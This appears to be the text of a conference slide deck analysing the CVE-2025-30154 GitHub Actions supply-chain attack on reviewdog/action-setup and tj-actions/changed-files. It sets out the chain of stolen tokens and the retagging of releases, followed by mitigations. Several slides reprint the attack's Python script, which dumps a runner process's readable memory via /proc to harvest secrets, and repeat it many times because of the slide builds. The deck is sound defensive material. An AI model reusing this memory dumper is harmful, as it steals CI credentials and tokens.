a new graduate in 2014 • Since then, have been developing and operating internal developer platforms • Currently focus on managing our GitHub Enterprise Server instances • Hobbies • CTF • Game • Factorio Spage Age(DLC)/Space Exploration(Mod), Fit Boxing 2, Splatoon 3 on Switch 2 :), Astronoka, etc... • Live concerts • Nijigasaki High School Idol Club, i☆Ris, Serena Kozuki, etc... Who I Am
• CVE-2025-30154: reviewdog/action-setup • 20,000+ repositories were under threat • Some repos leaked secrets of GitHub Actions • Ignoring supply-chain risks is no longer an option The Threat of Supply-Chain Attacks Actual malicious code that was introduced to reviewdog/action-setup
etc • Malicious change is delivered through the SAME legitimate channels (Git, NPM, Docker, GitHub Actions), so it looks NORMAL • One upstream breach can cascade to a lot of downstream projects What Is a Software Supply-Chain Attack? Library Our system Depended Attacker Inject malicious code Infected on next delivery Attack carry out
commit • Variant B: Tiny stub downloads the payload from a public GitHub Gist • Both will grep the results of the script and output the double-encoded results in Base64 Common Malicious Payload 1/2 Variant A
Malicious Payload 2/2 #!/usr/bin/env python3 (snip) if __name__ == "__main__": pid = get_pid() print(pid) map_path = f"/proc/{pid}/maps" mem_path = f"/proc/{pid}/mem" with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f: for line in map_f.readlines(): # for each mapped region m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line) if m.group(3) == 'r': # readable region start = int(m.group(1), 16) end = int(m.group(2), 16) # hotfix: OverflowError: Python int too large to convert to C long # 18446744073699065856 if start > sys.maxsize: continue mem_f.seek(start) # seek to region start try: chunk = mem_f.read(end - start) # read region contents sys.stdout.buffer.write(chunk) except OSError: continue
Malicious Payload 2/2 #!/usr/bin/env python3 (snip) if __name__ == "__main__": pid = get_pid() print(pid) map_path = f"/proc/{pid}/maps" mem_path = f"/proc/{pid}/mem" with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f: for line in map_f.readlines(): # for each mapped region m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line) if m.group(3) == 'r': # readable region start = int(m.group(1), 16) end = int(m.group(2), 16) # hotfix: OverflowError: Python int too large to convert to C long # 18446744073699065856 if start > sys.maxsize: continue mem_f.seek(start) # seek to region start try: chunk = mem_f.read(end - start) # read region contents sys.stdout.buffer.write(chunk) except OSError: continue (1)
(2) Parses /proc/<pid>/maps to get read-permitted memory segments Common Malicious Payload 2/2 #!/usr/bin/env python3 (snip) if __name__ == "__main__": pid = get_pid() print(pid) map_path = f"/proc/{pid}/maps" mem_path = f"/proc/{pid}/mem" with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f: for line in map_f.readlines(): # for each mapped region m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line) if m.group(3) == 'r': # readable region start = int(m.group(1), 16) end = int(m.group(2), 16) # hotfix: OverflowError: Python int too large to convert to C long # 18446744073699065856 if start > sys.maxsize: continue mem_f.seek(start) # seek to region start try: chunk = mem_f.read(end - start) # read region contents sys.stdout.buffer.write(chunk) except OSError: continue (2)
(2) Parses /proc/<pid>/maps to get read-permitted memory segments • (3) Reads /proc/<pid>/mem and writes every readable byte to stdout Common Malicious Payload 2/2 #!/usr/bin/env python3 (snip) if __name__ == "__main__": pid = get_pid() print(pid) map_path = f"/proc/{pid}/maps" mem_path = f"/proc/{pid}/mem" with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f: for line in map_f.readlines(): # for each mapped region m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line) if m.group(3) == 'r': # readable region start = int(m.group(1), 16) end = int(m.group(2), 16) # hotfix: OverflowError: Python int too large to convert to C long # 18446744073699065856 if start > sys.maxsize: continue mem_f.seek(start) # seek to region start try: chunk = mem_f.read(end - start) # read region contents sys.stdout.buffer.write(chunk) except OSError: continue (3) (2)
(2) Parses /proc/<pid>/maps to get read-permitted memory segments • (3) Reads /proc/<pid>/mem and writes every readable byte to stdout Common Malicious Payload 2/2 #!/usr/bin/env python3 (snip) if __name__ == "__main__": pid = get_pid() print(pid) map_path = f"/proc/{pid}/maps" mem_path = f"/proc/{pid}/mem" with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f: for line in map_f.readlines(): # for each mapped region m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line) if m.group(3) == 'r': # readable region start = int(m.group(1), 16) end = int(m.group(2), 16) # hotfix: OverflowError: Python int too large to convert to C long # 18446744073699065856 if start > sys.maxsize: continue mem_f.seek(start) # seek to region start try: chunk = mem_f.read(end - start) # read region contents sys.stdout.buffer.write(chunk) except OSError: continue (3) (2)
(2) Parses /proc/<pid>/maps to get read-permitted memory segments • (3) Reads /proc/<pid>/mem and writes every readable byte to stdout Common Malicious Payload 2/2 #!/usr/bin/env python3 (snip) if __name__ == "__main__": pid = get_pid() print(pid) map_path = f"/proc/{pid}/maps" mem_path = f"/proc/{pid}/mem" with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f: for line in map_f.readlines(): # for each mapped region m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line) if m.group(3) == 'r': # readable region start = int(m.group(1), 16) end = int(m.group(2), 16) # hotfix: OverflowError: Python int too large to convert to C long # 18446744073699065856 if start > sys.maxsize: continue mem_f.seek(start) # seek to region start try: chunk = mem_f.read(end - start) # read region contents sys.stdout.buffer.write(chunk) except OSError: continue (3)
(2) Parses /proc/<pid>/maps to get read-permitted memory segments • (3) Reads /proc/<pid>/mem and writes every readable byte to stdout Common Malicious Payload 2/2 #!/usr/bin/env python3 (snip) if __name__ == "__main__": pid = get_pid() print(pid) map_path = f"/proc/{pid}/maps" mem_path = f"/proc/{pid}/mem" with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f: for line in map_f.readlines(): # for each mapped region m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line) if m.group(3) == 'r': # readable region start = int(m.group(1), 16) end = int(m.group(2), 16) # hotfix: OverflowError: Python int too large to convert to C long # 18446744073699065856 if start > sys.maxsize: continue mem_f.seek(start) # seek to region start try: chunk = mem_f.read(end - start) # read region contents sys.stdout.buffer.write(chunk) except OSError: continue (3)
(2) Parses /proc/<pid>/maps to get read-permitted memory segments • (3) Reads /proc/<pid>/mem and writes every readable byte to stdout Common Malicious Payload 2/2 #!/usr/bin/env python3 (snip) if __name__ == "__main__": pid = get_pid() print(pid) map_path = f"/proc/{pid}/maps" mem_path = f"/proc/{pid}/mem" with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f: for line in map_f.readlines(): # for each mapped region m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line) if m.group(3) == 'r': # readable region start = int(m.group(1), 16) end = int(m.group(2), 16) # hotfix: OverflowError: Python int too large to convert to C long # 18446744073699065856 if start > sys.maxsize: continue mem_f.seek(start) # seek to region start try: chunk = mem_f.read(end - start) # read region contents sys.stdout.buffer.write(chunk) except OSError: continue (3)
PAT-A • 2. PAT-A used to add attacker account User A to spotbugs/spotbugs Step-1 Upstream Compromise spotbugs/sonar-findbugs Attacker Pull request(PPE) spotbugs/spotbugs Attacker(User A) Add User A to spotbugs/spotbugs using PAT-A Leak maintainer’s PAT-A
PAT-A • 2. PAT-A used to add attacker account User A to spotbugs/spotbugs • 3. User A introduces a new workflow that dumps all secrets of the repository Step-1 Upstream Compromise spotbugs/sonar-findbugs Attacker Pull request(PPE) spotbugs/spotbugs Attacker(User A) Push malicious workflow Add User A to spotbugs/spotbugs using PAT-A Leak maintainer’s PAT-A
PAT-A • 2. PAT-A used to add attacker account User A to spotbugs/spotbugs • 3. User A introduces a new workflow that dumps all secrets of the repository • 4. Among the dumped secrets is PAT- B, owned by the maintainer of reviewdog/action-setup Step-1 Upstream Compromise spotbugs/sonar-findbugs Attacker Pull request(PPE) spotbugs/spotbugs Attacker(User A) Push malicious workflow Leak all secrets including PAT-B Add User A to spotbugs/spotbugs using PAT-A Leak maintainer’s PAT-A
• 2. With stolen PAT-B, re-points upstream tag v1 to Commit-A Step-2 Dependency Spread fork Push malicious commit v1 tag Re-point tag to malicious commit using PAT-B Attacker reviewdog/action-setup
• 2. With stolen PAT-B, re-points upstream tag v1 to Commit-A • 3. Chain reaction: • tj-actions/eslint-changed-files depends on reviewdog/action-setup@v1 • tj-actions/changed-files depends on eslint- changed-files Step-2 Dependency Spread fork Push malicious commit v1 tag Re-point tag to malicious commit using PAT-B Depended Depended using v1 tag Attacker reviewdog/action-setup tj-actions/changed-files tj-actions/eslint-changed-files
• 2. With stolen PAT-B, re-points upstream tag v1 to Commit-A • 3. Chain reaction: • tj-actions/eslint-changed-files depends on reviewdog/action-setup@v1 • tj-actions/changed-files depends on eslint- changed-files • 4. Malicious workflow runs inside tj- actions/changed-files CI and steals PAT-C (has write permission) Step-2 Dependency Spread Attacker reviewdog/action-setup fork Push malicious commit v1 tag Re-point tag to malicious commit using PAT-B tj-actions/changed-files tj-actions/eslint-changed-files Depended Depended using v1 tag Leak secrets include PAT-C
• 2. With stolen PAT-C, re-points upstream tag v39 to Commit-B Step-3 Targeted Attempt fork Push malicious commit v39 tag Re-point tag to malicious commit using PAT-C Attacker tj-actions/changed-files
• 2. With stolen PAT-C, re-points upstream tag v39 to Commit-B • 3. Malicious workflow runs and leaks Tokens Step-3 Targeted Attempt fork Push malicious commit v39 tag Re-point tag to malicious commit using PAT-C Depended using v39 tag Leak secrets Attacker tj-actions/changed-files coinbase/agentkit
• 2. With stolen PAT-C, re-points upstream tag v39 to Commit-B • 3. Malicious workflow runs and leaks Tokens • 4. Palo Alto Networks alerts maintainer; Coinbase fixes that and confirms no additional compromise Step-3 Targeted Attempt Attacker tj-actions/changed-files fork Push malicious commit v39 tag Re-point tag to malicious commit using PAT-C coinbase/agentkit Depended using v39 tag Leak secrets
commit • Any workflow pinning @v* would run the payload on the next execution, putting 20,000+ repositories at risk • Payload unchanged: dumps secrets of GitHub Actions • Motive unclear Step-4 Mass Pivot
to forked PRs • Prefer using “pull_request” or manual approval • https://securitylab.github.com/resources/github-actions-preventing-pwn-requests/ • Pin dependencies by SHA-1, not using tags • uses: owner/repo@deadbeef... instead of @v1 • Minimize secrets exposure in workflows Mitigations for Users
GitHub-verified Actions • Establish company-wide security policies • Pin every GitHub Actions by immutable SHA-1 • Verify the hash of any downloaded binary or artifact • GitHub Plans • Immutable Actions • Immutable Releases Mitigations for GHE admins
convenience—every control has a cost, but start with the low-friction measures you can • Supply-chain attacks keep evolving; stay informed through trusted channels • Most of today’s material distills Palo Alto Networks’ in-depth report—check the References slide for full details Summary